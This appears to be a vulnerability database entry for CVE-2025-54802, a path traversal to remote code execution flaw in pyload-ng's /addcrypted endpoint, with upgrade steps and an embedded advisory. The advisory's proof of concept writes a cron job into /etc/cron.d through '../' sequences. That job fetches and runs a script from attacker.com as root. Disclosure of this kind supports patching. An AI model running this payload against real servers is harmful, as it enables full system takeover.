CVE-2025-54802: Pyload ng Remote Code Execution Vulnerability
CRITICALCVE-2025-54802 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Pyload ng libraries in the PyPI ecosystem. The issue involves pyload cnl blueprint allows path traversal through `dlc_path` which leads to remote code execution (rce). Remediation is available by upgrading affected packages to version 0.5.0b3.dev90.
CVE-2025-54802 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2025-54802
To remediate this vulnerability, upgrade all affected Pyload ng dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install pyload-ng>=0.5.0b3.dev90
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show pyload-ng
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2025-54802, inspect your installed packages using pip:
pip show pyload-ng
Analyze the terminal output to locate any version of Pyload ng in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.0b3.dev90), your application is affected.
Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Pyload ng, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-54802 Affected Pyload ng Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pyload-ng
|
PyPI |
< 0.5.0b3.dev90
|
0.5.0b3.dev90
|
References
Frequently Asked Questions
What is CVE-2025-54802?
Which Pyload ng versions are affected?
What version fixes CVE-2025-54802?
Is pyload-ng affected?
What is the CVSS score of CVE-2025-54802?
What CWE is associated with CVE-2025-54802?
How can I check PyPI dependencies for CVE-2025-54802?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-48rp-jc79-2264",
"modified" : "2025-08-05T17:10:50Z",
"published" : "2025-08-04T15:57:48Z",
"aliases" : [ "CVE-2025-54802" ],
"summary" : "pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)",
"details" : "### Summary\n**Path Traversal in pyLoad-ng CNL Blueprint via `package` parameter allows Arbitrary File Write leading to Remote Code Execution (RCE)** The `addcrypted` endpoint in `pyload-ng` suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.\n\n\n\n### Details\n* **Endpoint**: `POST /addcrypted`\n* **Issue**: `src/pyload/webui/app/blueprints/cnl_blueprint.py`\n\n#### Vulnerable Code\n```python\n dlc_path = os.path.join( \n dl_path, package.replace(\"/\", \"\").replace(\"\\\\\", \"\").replace(\":\", \"\") + \".dlc\" \n ) \n dlc = flask.request.form[\"crypted\"].replace(\" \", \"+\") \n with open(dlc_path, mode=\"wb\") as fp: \n```\n\n### PoC\n```http\nPOST /addcrypted HTTP/1.1\nHost: localhost:8000\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 107\n\npackage=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==\n```\n\nDecoded payload:\n```bash\n* * * * * root curl -s http://attacker.com/r.sh | bash\n```\n\n**Send crafted POST**\n```python\nimport requests, base64\n\npayload = \"* * * * * root curl http://attacker.com/rev.sh | bash\"\nb64 = base64.b64encode(payload.encode()).decode()\n\nrequests.post(\"http://localhost:8000/addcrypted\", data={\n \"package\": \"../../../../etc/cron.d/exploit\",\n \"crypted\": b64\n})\n```\n\n\n### Impact\nThe vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the `addcrypted` endpoint in `pyload-ng` parameter. when exploited, it enables remote code execution as **root** by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "pyload-ng"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.5.0b3.dev90"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.5.0b3.dev89"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54802"
}, {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/pull/4596"
}, {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pyload/pyload"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2025-08-04T15:57:48Z",
"nvd_published_at" : "2025-08-05T01:15:42Z"
}
}